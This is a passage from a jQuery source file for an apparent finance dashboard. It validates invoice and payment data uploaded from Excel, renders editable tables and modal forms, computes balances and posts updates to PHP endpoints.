                        return returnArray
                    }
                }
            }    
        }
        
        let checkMismatchedInvoiceDetails=()=>{
            getAllInvoiceIds_and_divideExcelJsonInTwoArray_siteAllocations_InvoiceDetails(); //function call
            let sortArray=()=>{
                PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_INVOICE_DETAILS_ARRAY.sort((a, b)=>{
                    return (a.invoiceNo).localeCompare(b.invoiceNo);
                })
            }
            let removeAllMismatchErrorInitially=()=>{
                $("#pendingInvoiceUpdatedTableDiv_table td").removeClass("bg-light-danger bg-light-success");
                $("#pendingInvoiceUpdatedTableDiv_table td span.errorMsg.invoiceMismatch").remove();
            }
            let displayErrorMismatch=(currentLoopObj, nextLoopObj)=>{
                console.log("mismatched funct call");
                let classKeyObj={
            		"invoiceDate":"invoiceDate_Td",
                    "invoiceValue":"invoiceValue_Td",
                    "paymentDate": "paymentDate_Td",
                    "paymentValue":"paymentValue_Td"
            	}
                let keysArray=Object.keys(currentLoopObj);
                let selector=`#pendingInvoiceUpdatedTableDiv_table tr.invoiceNo_${convertToClassNameFormate(currentLoopObj.invoiceNo)}_tr`;
                    keysArray.forEach((key)=>{
                        if(currentLoopObj[key]!=nextLoopObj[key]){
                            console.log("mismatched key", key);
                            if(classKeyObj[key]){
                                if(!$(selector+" ."+classKeyObj[key]).children(".errorMsg").length){     //check error is already exist
                                    $(selector+" ."+classKeyObj[key]).addClass("bg-light-danger").append(`<span class="errorMsg invoiceMismatch text-danger font-weight-bold">Mismatch</span>`);
                                    $(selector+" .invoiceNo_Td").addClass("bg-light-success");
                                    
                                    returnArray["error"]=true;
                                    returnArray["type"]="invoiceMismatch";
                                }
                                
                            }
                        }
                    
                })
                
            }
            let checkMismatch=()=>{ // checking invoice details if same invoice number
                let lastLoopIndex= PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_INVOICE_DETAILS_ARRAY.length-1;
                    for(let index=0; index< PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_INVOICE_DETAILS_ARRAY.length; index++){
                         if(index != lastLoopIndex){
                            let currentLoopObj=PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_INVOICE_DETAILS_ARRAY[index];
                            let nextLoopObj=PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_INVOICE_DETAILS_ARRAY[index+1];
                            if(currentLoopObj.invoiceNo == nextLoopObj.invoiceNo){
                                // if(JSON.stringify(currentLoopObj) !== JSON.stringify(nextLoopObj)){ // same invoice different invoices details misMatches
                                //     let selector=`#pendingInvoiceUpdatedTableDiv_table tr.invoiceNo_${convertToClassNameFormate(currentLoopObj.invoiceNo)}_tr`;
                                //     $(selector+" .invoiceDate_Td").addClass("bg-light-danger"); 
                                //     $(selector+" .invoiceNo_Td").addClass("bg-light-danger"); 
                                //     $(selector+" .invoiceValue_Td").addClass("bg-light-danger"); 
                                //     $(selector+" .paymentDate_Td").addClass("bg-light-danger"); 
                                //     $(selector+" .paymentValue_Td").addClass("bg-light-danger"); 
                                //     $(selector+" .paymentRemarks_Td").addClass("bg-light-danger"); 
                                //     $(selector+" .remainingBalance_Td").addClass("bg-light-danger"); 
                                    
                                //     returnArray["error"]=true;
                                //     returnArray["type"]="Invoice Details Mismatch";
                                // }
                                displayErrorMismatch(currentLoopObj, nextLoopObj);
                                
                            }else{
                                console.log("currentLoopObj.invoiceNo", currentLoopObj.invoiceNo);
                            }
                        }
                    }
            }
            sortArray();
            removeAllMismatchErrorInitially();
            checkMismatch();
        }
        let removeDuplicateInvoiceDetailsIfNoErrorFound=()=>{
            if(!returnArray["error"]){ // if no error
                let includingDuplicateInvoiceNo_array = PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_INVOICE_DETAILS_ARRAY.map(obj => obj.invoiceNo);
                let tempArray=PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_INVOICE_DETAILS_ARRAY.filter((currentLoopObj, index)=>{
                    return !includingDuplicateInvoiceNo_array.includes(currentLoopObj.invoiceNo, index+1); //(para1, para2) ie->para1= currentLoopObj, para2= check including from index  
                    
                });
                PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_INVOICE_DETAILS_ARRAY=tempArray;
            }
        }
        
        validateExcelTemplateData();
        checkMismatchedInvoiceDetails();
        removeDuplicateInvoiceDetailsIfNoErrorFound();
        return returnArray;
   }
    $(".updateAndUploadInvoiceExcelDiv .submitBtnDiv .submit").on('click',function(){
       let thisSubmitBtn=$(this);
       thisSubmitBtn.html(`Submit<i class="fa fa-spinner fa-spin ml-3"></i>`);
       console.log("while submiting",PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_INVOICE_DETAILS_ARRAY);
       let obj={
           siteAllocationArray:PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_SITE_ALLOCATION_ARRAY,
           invoiceDetailsArray:PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_INVOICE_DETAILS_ARRAY
       }
       console.log(obj);
       let postContent=JSON.stringify(obj);
       updateSiteAllocationDetails_invoiceDetails_inServer(postContent,thisSubmitBtn);
   });
   function updateSiteAllocationDetails_invoiceDetails_inServer(postContent, thisSubmitBtn){
    //   console.log(postContent);
        let responseData=postDataHttpRequest('DashBoard/php/Invoices_Reports/Pending_Invoice/update_bulk_invoiceDetails.php',postContent);
        responseData.then((result)=>{
            if(result.message=="SUCCESS"){
                $(".updateAndUploadInvoiceExcelDiv .submitBtnDiv .submit").hide();
                $(".updateAndUploadInvoiceExcelDiv .submitBtnDiv .validatingMsg").html(`<span class="text-success">${result.Reason}</span>`);
            }else{
                thisSubmitBtn.html(`Retry<i class="fa fa-undo ml-3"></i>`);
                $(".updateAndUploadInvoiceExcelDiv .submitBtnDiv .validatingMsg").html(`<span class="text-danger">${result.Reason}</span>`);
            }
        })
        .catch((error)=>{
            console.log(error);
            thisSubmitBtn.html(`Retry<i class="fa fa-undo ml-3"></i>`);
        })
   }
   $("#pendingInvoiceUpdatedTableDiv_table").on('click', '.updateInvoiceDetailsModalPopUpBtn', function(){
       let refIndex=$(this).attr('data-index');
       let invoiceNoRef=$(this).attr('data-invoice-refNo');
       let currentInvoiceObj = ALREADY_EXISTING_INVOICES_IN_SERVER_JSON[refIndex];
       $("#commonModalPopup .modal-xl").html(getModalPopupUiToUpdateInvoiceDetails(currentInvoiceObj, invoiceNoRef));
   });
   
   function getModalPopupUiToUpdateInvoiceDetails(currentEditingJson, invoiceNoRef){
        let checkForRequiredCondition=(paymentValue)=>{
            if(paymentValue!=null && paymentValue!="null" && paymentValue>0){
                return 'required';
            }
        }; 
        let modalUi=`<div class="modal-content  px-4 w-75 m-auto bg-white section">
                    <form id="invoiceDetailsUpdateModalPopupForm" data-table-refIndex="${invoiceNoRef}">
                        <div class="modal-header d-block">
                            <div class="d-flex w-100 mb-2">
                                <h5 class="modal-title font-weight-bold text-center w-100">Update Invoice Details</h5>
                                <button type="button" class="close" data-dismiss="modal"><span>x</span></button>
                            </div>
                        </div>
                        <div class="modal-body">
                            <div class="row">
                                <div class="col-md-4">
                                    <label class="form-label font-weight-bold">Invoice Number:</label>
                                    <input type="text" value="${currentEditingJson.INVOICE_NUMBER}"  class="form-control invoiceNumber" placeholder="Enter Invoice Number" name="invoiceNumber"  readonly required />
                                </div>
                            
                            </div>
                            <div class="row my-4">
                                <div class="col-md-4">
                                    <label  class="form-label font-weight-bold">Invoice Raised On:</label>
                                    <input type="date" value="${currentEditingJson.INVOICE_RISED_ON}" class="form-control invoiceDate" name="invoiceRaiseOn" required/>
                                </div>
                                <div class="col-md-4">
                                    <label class="form-label font-weight-bold"> Invoice Value:</label>
                                    <input type="number" value="${currentEditingJson.INVOICE_VALUE}" class="form-control invoiceValue"  min="0" placeholder="Enter Invoice Value" name="invoiceValue" required/>
                                </div>
                                <div class="col-md-4">
                                    <label class="form-label font-weight-bold">Payment Received On:</label>
                                    <input type="date" value="${currentEditingJson.PAYMENT_RECEIVED_ON}"  class="form-control paymentDate"  name="paymentReceivedOn" ${checkForRequiredCondition(currentEditingJson.PAYMENT_RECEIVED_VALUE)}/>
                                    <span class="text-danger ml-1 d-none paymentDateRequiredMessage">Required</span>
                                </div>
                            </div>
                            <div class="row mb-2">
                                <div class="col-md-4">
                                    <label  class="form-label font-weight-bold">Payment Received Value:</label>
                                    <input type="number" value="${currentEditingJson.PAYMENT_RECEIVED_VALUE || 0}"  min="0" class="form-control paymentValue" placeholder="Enter Payment Received Value" name="paymentReceivedValue" required/>
                                </div>
                                <div class="col-md-4">
                                    <label class="form-label font-weight-bold">Payment Remarks:</label>
                                    <textarea class="form-control paymentRemarks" placeholder="Enter Payment Remarks" name="paymentRemarks">${currentEditingJson.PAYMENT_REMARKS}</textarea>
                                </div>
                                <div class="col-md-4">
                                    <label class="form-label font-weight-bold">Remaining Balance If Any:</label>
                                    <input type="number" value="${currentEditingJson.REMAINING_BALANCE_IF_ANY}"  min="0" class="form-control remainingBalance"  placeholder="Enter Remaining Balance" name="remainingBalance" readonly/>
                                </div>
                            </div>
                        </div>
                        <div class="modal-footer">
                            <p class="message mr-auto"></p>
                            <button type="submit" class="btn btn-theme-type1" style="width:16%">Update</button>
                            <button type="button" class="btn btn-theme-type3" data-dismiss="modal" style="width:16%">Close</button>
                        </div>
                    </form>
                </div>`;
    return modalUi;
   }
   
   $("#commonModalPopup").on('submit','#invoiceDetailsUpdateModalPopupForm',function(e){
        e.preventDefault();
        let currentEditingInvoiceTableRowDataClass=$(this).attr("data-table-refIndex");
        let obj = convertValuesToObject($(this).serializeArray());
        updateInvoiceDetailsInServer(obj, currentEditingInvoiceTableRowDataClass);
       
   });
   
   //----------------onChange funtions------------------
   
   $("#commonModalPopup").on('change', '#invoiceDetailsUpdateModalPopupForm .invoiceValue', function(){
        let invoiceValue=$(this).val() ? $(this).val() : 0;
        let paymentValue=$("#invoiceDetailsUpdateModalPopupForm .paymentValue").val();
            paymentValue=(paymentValue ? paymentValue : 0);
        let remainingBalance=Number(invoiceValue)-Number(paymentValue);
        $("#invoiceDetailsUpdateModalPopupForm .remainingBalance").val(remainingBalance);
   });
   
   $("#commonModalPopup").on('change', '#invoiceDetailsUpdateModalPopupForm .paymentValue', function(){
        let paymentValue=Number($(this).val() ? $(this).val() :0);
        let invoiceValue=$("#invoiceDetailsUpdateModalPopupForm .invoiceValue").val();
            invoiceValue=Number((invoiceValue ? invoiceValue : 0));
        let remainingBalance = invoiceValue - paymentValue;
        $("#invoiceDetailsUpdateModalPopupForm .remainingBalance").val(remainingBalance);
        
        if(paymentValue>0){
            $("#invoiceDetailsUpdateModalPopupForm .paymentDate").attr("required",true);
        }else{
             $("#invoiceDetailsUpdateModalPopupForm .paymentDate").removeAttr("required");
        }
   });
   
   function updateInvoiceDetailsInServer(obj, tdClassName){
        let postContent=JSON.stringify(obj);
        let submitBtn=$("#invoiceDetailsUpdateModalPopupForm .submit");
        let message=$("#invoiceDetailsUpdateModalPopupForm .message");
            submitBtn.html(`<Submit <i class="fa fa-spinner fa-spin"></i>`);
        let responseData=postDataHttpRequest('DashBoard/php/Invoices_Reports/Pending_Invoice/updateInvoiceDetails.php',postContent);
        responseData.then((result)=>{
            if(result.message=="UPDATED"){
                submitBtn.html(`Submit`);
                message.html(`<span class="text-success">${result.reason}</span>`);
                updateTableValueOnSuccesfullyInvoiceDetailsUpdatedInServer(obj, tdClassName);
            }else if(result.message=="FAILURE"){
                submitBtn.html(`Retry <i class="fa fa-undo"></i>`);
                message.html(`<span class="text-danger">${result.reason}</span>`);
            }
        })
       .catch((error)=>{
           submitBtn.html(`Retry <i class="fa fa-undo"></i>`);
           message.html(`<span>Internal Error 500!</span>`);
           console.log(error);
       });
   }
   function updateTableValueOnSuccesfullyInvoiceDetailsUpdatedInServer(invoiceDetailsObj, tdInvoiceNoAsClassName){
    //   console.log(invoiceDetailsObj);
        let tableRow =`#pendingInvoiceUpdatedTableDiv_table tr.invoiceNo_${tdInvoiceNoAsClassName}_tr`;
        let updateTableValue=()=>{
           $(tableRow+" td.invoiceDate_Td input").val(invoiceDetailsObj.invoiceRaiseOn);
           $(tableRow+" td.invoiceValue_Td input").val(invoiceDetailsObj.invoiceValue);
           $(tableRow+" td.paymentDate_Td input").val(invoiceDetailsObj.paymentReceivedOn);
           $(tableRow+" td.paymentValue_Td input").val(invoiceDetailsObj.paymentReceivedValue);
           $(tableRow+" td.paymentRemarks_Td textarea").val(invoiceDetailsObj.paymentRemarks);
           $(tableRow+" td.remainingBalance_Td input").val(invoiceDetailsObj.remainingBalance);
        };
        let removeWarningMessage=()=>{
            $(tableRow+" span.warningMsg").remove();
        };
        updateTableValue();
        removeWarningMessage();
        
   }
   //---------------------------------end--------------------------
// ------------------------------------------------------------------------end(pending Invoice and reports)-----------------------------------------------------------------


// -------------------------------------------------------------Pending Payments Tab functionalities--------------------------------------------------------------------------
$(".pendingPaymentDetails .searchByDropDown").on('change', function(){
    let searchByValue=$(this).val();
    $(".pendingPaymentDetails .invoiceReportForm").removeClass('d-flex active').addClass('d-none');
    $(".pendingPaymentDetails .invoiceReportForm.searchBy"+searchByValue).removeClass('d-none').addClass('d-flex active')
});
$(".pendingPaymentDetails .invoiceReportForm select.year").on('change', function(){	
    let selected_financialYear=$(this).val();	
    let optionTags=updateSearchByDate_monthDropDown(selected_financialYear);	
    $(".pendingPaymentDetails form.invoiceReportForm.searchByDate select.month").html(optionTags);	
});
$(".pendingPaymentDetails form.invoiceReportForm").submit(function(e){
    e.preventDefault();
    let obj = convertValuesToObject($(this).serializeArray()); // in main_TL.js  or main_Finance.js
    obj.searchBy=$(this).attr("data-reference");
    let postContent=JSON.stringify(obj);
    request_pendingPaymentsDetails(postContent, obj);
});

function request_pendingPaymentsDetails(postContent, object){
    let submitBtn=$(".pendingPaymentDetails .invoiceReportForm.active .submitBtn");
        submitBtn.html(`<i class="fas fa-spinner fa-spin"></i>`);
    let clsObj = new Placeholder();
    let colLength=11; //20
    let placeHolderContent=clsObj.tablePlaceHolder(colLength);
    $("#pendingPaymentsDetailsTable tbody").html(placeHolderContent);
    if(!checkWheatherLogoutOrNot_InternetConnection()){
        submitBtn.html(`<i class="fas fa-undo"></i>`);
        $(".placeholder-glow").removeClass('placeholder-glow');
        alertNoInternet_connection();
    }else{
        let responseData=postDataHttpRequest('DashBoard/php/Invoices_Reports/Pending_Payment/getPending_paymentDetails.php',postContent);
        responseData.then((result)=>{
            if(result.message=="SUCCESS"){
                PENDING_PAYMENT_INVOICE_DETAILS_RESPONSE_MESSAGE=result.message;
                console.log(result);
                constructPendingPaymentDetailsTable(result.responseDataArray);
                $(".pendingPaymentDetails  .updateAndUploadPaymentExcelDiv .note .excelType").html(`${object.searchBy}:-<bold class="font-weight-bold ">${object.siteId ? object.siteId : '' + object.monthName ? object.monthName :''} ${object.year ? object.year: ''}</bold>`);
                submitBtn.html(`<i class="fas fa-search"></i>`);
            }else{
                submitBtn.html(`<i class="fas fa-undo"></i>`);
                $(".placeholder-glow").removeClass('placeholder-glow');
            }
        })
        .catch((error)=>{
            submitBtn.html(`<i class="fas fa-undo"></i>`);
            $(".placeholder-glow").removeClass('placeholder-glow');
            console.log(error);
        })
    }
}
// function constructPendingPaymentDetailsTable2(responseJson){
//     let tableHeight=(USER_DEPARTMENT==FINANCE_DEPARTMENT) ? 200 :'';
//     if($.fn.DataTable.isDataTable('#pendingPaymentsDetailsTable')){
//         $("#pendingPaymentsDetailsTable").DataTable().clear().destroy();
//     }
//     let tableBodyUi='';
//     PENDING_PAYMENT_INVOICE_DETAILS_RESPONSE_JSON_IN_OBJECT={};// on every time make empty list
//     responseJson.forEach(function(obj, loopIndex){
//         // PENDING_PAYMENT_INVOICE_DETAILS_RESPONSE_JSON_IN_OBJECT[obj.PO_NUMBER+"_"+obj.INVOICE_NUMBER]=responseJson[loopIndex];
//         PENDING_PAYMENT_INVOICE_DETAILS_RESPONSE_JSON_IN_OBJECT[obj.INVOICE_NUMBER]=responseJson[loopIndex];
//         tableBodyUi+=`<tr class="trIndex${loopIndex}">
//                     <td>${loopIndex+1}</td>
//                     <td class="poNumberTd border-left">${obj.PO_NUMBER}</td>
//                     <td class="invoiceRaisdOnTd">${obj.INVOICE_RISED_ON}</td>
//                     <td class="invoiceNumberTd">${obj.INVOICE_NUMBER}</td>
//                     <td class="invoiceValueTd">${obj.INVOICE_VALUE}</td>
//                     <td class="paymentDateTd">${obj.PAYMENT_RECEIVED_ON}</td>
//                     <td class="paymentValueTd">${obj.PAYMENT_RECEIVED_VALUE}</td>
//                     <td class="paymentRemarksTd"><textarea rows="1" class="form-control" readonly>${obj.PAYMENT_REMARKS}</textarea></td>
//                     <td class="remainingBalanceTd">${obj.REMAINING_BALANCE_IF_ANY}</td>
//                 </tr>`;
                
//                     // <td class="reportDateTd">${obj.REPORT_SUBMITED_TO_CUSTOMER_ON}</td>
//                     // <td class="reportRemarkTd"><textarea rows="1" class="form-control" readonly>${obj.REPORT_REMARK}</textarea></td>
//     });
//     $("#pendingPaymentsDetailsTable tbody").html(tableBodyUi);
//     $("#pendingPaymentsDetailsTable").DataTable({
//                                                     dom:'lBfrtip',
//                                                     buttons:[{extend:'excelHtml5',title:'Pending Payment Invoice Details'}],
//                                                     aLengthMenu:[[10,50,100],[10,50,100]],
//                                                     pageLength:10,
//                                                     stateSave:true,
//                                                     autoWidth:false,
//                                                     scrollY:tableHeight
//                                                 });
//     $("#pendingPaymentsDetailsTable_wrapper .buttons-excel").addClass('btn btn-theme-type1').html(`<span>Excel <i class="fas fa-download pl3"></i></span>`)
    
// }
function constructPendingPaymentDetailsTable(responseJson){
    let tableHeight=(USER_DEPARTMENT==FINANCE_DEPARTMENT) ? 200 :'';
    if($.fn.DataTable.isDataTable('#pendingPaymentsDetailsTable')){
        $("#pendingPaymentsDetailsTable").DataTable().clear().destroy();
    }       
    PENDING_PAYMENT_INVOICE_DETAILS_RESPONSE_JSON_IN_OBJECT={};
    let updateGlobalObject=(currentLoopObj)=>{
        PENDING_PAYMENT_INVOICE_DETAILS_RESPONSE_JSON_IN_OBJECT[currentLoopObj.INVOICE_NUMBER]=currentLoopObj;
    }
    
    let tableHeading=[
        {data:"SNO", title:"S.No", 
            render:function(data, type, row, meta){
                updateGlobalObject(row);
                return meta.row +1;
            }
        },
        {data:"PO_NUMBER", title:"PONo"},
        {data:"INVOICE_RISED_ON", title:"Invoice Date(yyyy-mm-dd)"},
        {data:"INVOICE_NUMBER", title:"InVoiceNo"},
        {data:"INVOICE_VALUE", title:"Invoice Value"},
        {data:"PAYMENT_RECEIVED_ON", title:"Payment Date(yyyy-mm-dd)"},
        {data:"PAYMENT_RECEIVED_VALUE", title:"Payment Value"},
        {data:"PAYMENT_REMARKS", title:"Payment Remarks"},
        {data:"REMAINING_BALANCE_IF_ANY", title:"Balance"}
        ]
    $("#pendingPaymentsDetailsTable").DataTable({
        columns:tableHeading,
        data:responseJson,
        dom:'lBfrtip',
        buttons:[{extend:'excelHtml5', title:'Pending Payment Invoice Details'}],
        autoWidth:false,
        scrollY:tableHeight
    });
    $("#pendingPaymentsDetailsTable_wrapper .buttons-excel").addClass('btn btn-theme-type1').html(`<span>Excel <i class="fas fa-download pl3"></i></span>`);
    console.log("PENDING_PAYMENT_INVOICE_DETAILS_RESPONSE_JSON_IN_OBJECT",PENDING_PAYMENT_INVOICE_DETAILS_RESPONSE_JSON_IN_OBJECT);
}

$("#uploadPendingPaymentDetailsExportBtn").on('click', function(){
    let fileInputId="uploadPendingPaymentDetails";
    let maxRecords=200;
    let headingListArray=['S.No','PONo', 'Invoice Date(yyyy-mm-dd)', 'InVoiceNo', 'Invoice Value',
                          'Payment Date(yyyy-mm-dd)', 'Payment Value',
                          'Payment Remarks', 'Balance'];
                          
    let excelJson=getJsonFromUploadExcel(fileInputId,headingListArray,maxRecords);// in main js/ readExcelTemplate.js
    excelJson.then((result)=>{
        console.log(result);
        afterSuccessfullyExtractedJsonFromExcel_pendingPayment(result);
        $(".pendingPaymentDetails .updateAndUploadPaymentExcelDiv").addClass('afterUploadExcelTemplate');
    }).catch((error)=>{
        console.log
    });
    $(".updateAndUploadPaymentExcelDiv .submitBtnDiv .submit").html('Submit').show();
    $(".updateAndUploadPaymentExcelDiv .submitBtnDiv .validatingMsg").empty();
    $(".updateAndUploadPaymentExcelDiv .submitBtnDiv .viewErrorLocation.btn").addClass("d-none");
});
function afterSuccessfullyExtractedJsonFromExcel_pendingPayment(excelJson){
    PENDING_PAYMENT_INVOICE_DETAILS_EXCEL_JSON=excelJson;
    let sortJsonIn_poNumber_InvoiceNo=()=>{
        excelJson.sort((a,b)=>{
            if(a['PONo'] && a['InVoiceNo']){
                let comparedPoNumber=a['PONo'].localeCompare(b['PONo']); //siteId
                let comparedInvoiceNo=a['InVoiceNo'].localeCompare(b['InVoiceNo']);
                if(comparedPoNumber!=0){
                    return comparedPoNumber;
                }else{
                    return comparedInvoiceNo
                }
            }
        });
    };
    sortJsonIn_poNumber_InvoiceNo();
    let clsObj=new pendingPaymentTable();           
    let tableBodyUi=clsObj.getPendingPaymentDetailsTable(excelJson);
    console.log(PENDING_PAYMENT_INVOICE_DETAILS_EXCEL_JSON);
    console.log(PENDING_PAYMENT_INVOICES_ERROR_BUCKET_ARRAY);
    if($.fn.DataTable.isDataTable("#pendingPaymentUpdateTableDiv_table")){
        $("#pendingPaymentUpdateTableDiv_table").DataTable().clear().destroy();
    }
    $("#pendingPaymentUpdateTableDiv_table tbody").html(tableBodyUi);
    $("#pendingPaymentUpdateTableDiv_table").DataTable({
                                                        dom:'lBfrtip',
                                                        buttons:[{extend:'excelHtml5',title:'Pending Payment Invoice Details'}],
                                                        aLengthMenu:[[10,50,100],[10,50,100]],
                                                        pageLength:10,
                                                        autoWidth:false,
    });
    
}
//  ----------------------------onChange functionality--------------------------

$("#pendingPaymentUpdateTableDiv_table").on('change','tr td.paymentValue_Td input', function(){
    let currentEditingPaymentValInput=$(this);
    currentEditingPaymentValInput.siblings('span.errorMsg').remove();
    currentEditingPaymentValInput.removeClass('border-danger');
    let refIndex=currentEditingPaymentValInput.parent('td.paymentValue_Td').attr('data-index');
    let paymentValue=Number(currentEditingPaymentValInput.val());
    console.log(PENDING_PAYMENT_INVOICE_DETAILS_EXCEL_JSON,refIndex);
    // let poNo=PENDING_PAYMENT_INVOICE_DETAILS_EXCEL_JSON[refIndex]['PONo'];
    let invoiceNo=PENDING_PAYMENT_INVOICE_DETAILS_EXCEL_JSON[refIndex]['InVoiceNo'];
    
    let invoiceVal=PENDING_PAYMENT_INVOICE_DETAILS_EXCEL_JSON[refIndex]['Invoice Value'];
    invoiceVal=Number(invoiceVal) ? Number(invoiceVal) :0;
    let remaingBal=invoiceVal-paymentValue;
    if(paymentValue>0){
        if(remaingBal>=0){
            //update ui
            $(`#pendingPaymentUpdateTableDiv_table tr.${convertToClassNameFormate(invoiceNo)} td.remainigBalance_Td`).text(remaingBal);
            
            //update json
            PENDING_PAYMENT_INVOICE_DETAILS_EXCEL_JSON[refIndex]["Payment Value"]=paymentValue;
            PENDING_PAYMENT_INVOICE_DETAILS_EXCEL_JSON[refIndex]["Balance"]=remaingBal;
            
            //update error bucket
            PENDING_PAYMENT_INVOICES_ERROR_BUCKET_ARRAY[refIndex]["requiredPaymentValueMissing"]=false;
            PENDING_PAYMENT_INVOICES_ERROR_BUCKET_ARRAY[refIndex]["invalidPaymentValue"]=false;
        }else{
            $(`<span class="errorMsg text-danger font-weight-bold">Payment value greater than Invoice value</span>`).insertAfter(currentEditingPaymentValInput);
            currentEditingPaymentValInput.addClass('border-danger');
            PENDING_PAYMENT_INVOICES_ERROR_BUCKET_ARRAY[refIndex]["invalidPaymentValue"]=true;
        } 
    }else{
        $(`<span class="errorMsg text-danger font-weight-bold requiredPaymentValueMissing">Required</span>`).insertAfter(currentEditingPaymentValInput);
        currentEditingPaymentValInput.addClass('border-danger');
        PENDING_PAYMENT_INVOICES_ERROR_BUCKET_ARRAY[refIndex]["requiredPaymentValueMissing"]=true;
    }
    console.log(PENDING_PAYMENT_INVOICE_DETAILS_EXCEL_JSON[refIndex]);
    console.log(PENDING_PAYMENT_INVOICES_ERROR_BUCKET_ARRAY[refIndex]);
    
});

$("#pendingPaymentUpdateTableDiv_table").on('change','tr td.paymentDate_Td input', function(){
    let currentEditingPaymentDateInput=$(this);
    let refIndex = currentEditingPaymentDateInput.parent('td.paymentDate_Td').attr('data-index');
    
    currentEditingPaymentDateInput.removeClass('border-danger');
    currentEditingPaymentDateInput.siblings('span.errorMsg').remove();
    
    let paymentDate=currentEditingPaymentDateInput.val();
    if(validateDateValue(paymentDate)){
        //update error bucket
        PENDING_PAYMENT_INVOICES_ERROR_BUCKET_ARRAY[refIndex]["requiredPaymentDateMissing"]=false;
        PENDING_PAYMENT_INVOICES_ERROR_BUCKET_ARRAY[refIndex]["invalidPaymentDate"]=false;
        //update json
        PENDING_PAYMENT_INVOICE_DETAILS_EXCEL_JSON[refIndex]["Payment Date(yyyy-mm-dd)"]=paymentDate;
    }else{
        PENDING_PAYMENT_INVOICES_ERROR_BUCKET_ARRAY[refIndex]["invalidPaymentDate"]=true;
        $(`<span class="errorMsg text-danger font-weight-bold invalidPaymentDate">Invalid Date </span>`).insertAfter(currentEditingPaymentDateInput);
    }
     console.log(PENDING_PAYMENT_INVOICE_DETAILS_EXCEL_JSON[refIndex]);
    console.log(PENDING_PAYMENT_INVOICES_ERROR_BUCKET_ARRAY[refIndex]);
});

$("#pendingPaymentUpdateTableDiv_table").on('change','tr td.paymentRemarks_Td input', function(){
   let currentEditingPaymentRemarkTextarea=$(this);
   let paymentRemarks=currentEditingPaymentRemarkTextarea.val();
   let remarklength=paymentRemarks.length;
   let refIndex=currentEditingPaymentRemarkTextarea.parent('td.paymentRemarks_Td').attr('data-index');
   currentEditingPaymentRemarkTextarea.removeClass('border-danger');
   currentEditingPaymentRemarkTextarea.siblings("span.errorMsg").remove();
   if(remarklength<=300){
       //update errorBucket
        PENDING_PAYMENT_INVOICES_ERROR_BUCKET_ARRAY[refIndex]['invalidPaymentRemarks']=false
       //update json
        PENDING_PAYMENT_INVOICE_DETAILS_EXCEL_JSON[refIndex]['Payment Remarks']=paymentRemarks;
   }else{
       PENDING_PAYMENT_INVOICES_ERROR_BUCKET_ARRAY[refIndex]['invalidPaymentRemarks']=true;
       currentEditingPaymentRemarkTextarea.addClass('border-danger');
       $(`<span class="errorMsg text-danger font-weight-bold invalidPaymentRemarks">Max Limit 300</span>`).insertAfter(currentEditingPaymentRemarkTextarea);
   }
       console.log(PENDING_PAYMENT_INVOICE_DETAILS_EXCEL_JSON[refIndex]);
    console.log(PENDING_PAYMENT_INVOICES_ERROR_BUCKET_ARRAY[refIndex]);
});
$(".updateAndUploadPaymentExcelDiv").on('click','.submitBtnDiv .submit', function(){
    let submitBtn=$(this);
    let isError=checkPendingPaymentError();
    if(isError['error']){
        console.log(isError);
        console.log(PENDING_PAYMENT_INVOICES_ERROR_BUCKET_ARRAY);
        $(".updateAndUploadPaymentExcelDiv .submitBtnDiv .validatingMsg").html(`<span class="text-danger">${isError["message"]}</span>`);
        $(".updateAndUploadPaymentExcelDiv .submitBtnDiv .viewErrorLocation").removeClass('d-none');
        $(".updateAndUploadPaymentExcelDiv .submitBtnDiv .viewErrorLocation").attr("data-navigatetoclass",isError["message"]);
    }else{
        submitBtn.html(`Submit <i class="fas fa-spinner spin pl-2"></i>`);
        let postContent=JSON.stringify(PENDING_PAYMENT_INVOICE_DETAILS_EXCEL_JSON);
        console.log("request",postContent);
        let responseData=postDataHttpRequest('DashBoard/php/Invoices_Reports/Pending_Payment/updatePendingPaymentDetails.php',postContent);
            responseData.then((result)=>{
                console.log(result);
                if(result["message"]=="SUCCESS"){
                    submitBtn.hide();
                    $(".updateAndUploadPaymentExcelDiv .submitBtnDiv .viewErrorLocation").addClass("d-none")
                    $(".updateAndUploadPaymentExcelDiv .submitBtnDiv .validatingMsg").html(`<span class="text-success">${result["Reason"]}</span>`);
                }else{
                    submitBtn.html(`Retry <i class="fas fa-undo pl-2"></i>`);
                    $(".updateAndUploadPaymentExcelDiv .submitBtnDiv .validatingMsg").html(`<span class="text-danger">${result["Reason"]}</span>`);
                }
            })
            .catch((error)=>{
                 submitBtn.html(`Retry <i class="fas fa-undo pl-2"></i>`);
                console.log(error);
            });
    }
})

$(".updateAndUploadPaymentExcelDiv .viewErrorLocation").on('click',function(){
    let errorClass=$(this).attr("data-navigatetoclass");
    $("html, body").animate({
        scrollTop:($(".errorMsg."+errorClass).offset().top + -100)
    },1000);
});

function checkPendingPaymentError(){
    let returnArray=[];
        returnArray['error']=false;
    let keyValueArray=['requiredFieldMissingCnt','duplicateEntry','invalidEntry',
                        'requiredPaymentDateMissing','requiredPaymentValueMissing',
                        'invalidPaymentDate','invalidPaymentValue','invalidPaymentRemarks'];
        for(let outLoopIndex=0; outLoopIndex < PENDING_PAYMENT_INVOICES_ERROR_BUCKET_ARRAY.length; outLoopIndex++){  // if  i use forEach return wont work in between 
            for(let innerLoopIndex=0;innerLoopIndex<keyValueArray.length; innerLoopIndex++){
                let error=PENDING_PAYMENT_INVOICES_ERROR_BUCKET_ARRAY[outLoopIndex][keyValueArray[innerLoopIndex]];
                if(error==true || (error!=0 && error!=false)){                          // (error > 0) if requiredMissingCnt
                    returnArray['error']=true;
                    returnArray['message']=keyValueArray[innerLoopIndex];
                    return returnArray
                }
        }
    }
    return returnArray;
}

// ------------------------------------------------------------end(Pending Payment tab)------------------------------------------------------------------------------

function checkInvalidFormate(checkValue){
    let invalid=false;
    let invalidFormatArray=['','not available',null, 'null','n.a','na','--',"0",0];
        invalid=checkValue.toLowerCase().includes('not available');
        invalidFormatArray.forEach(function(invalidFromate, index){
            if(checkValue.toLowerCase()==invalidFromate){
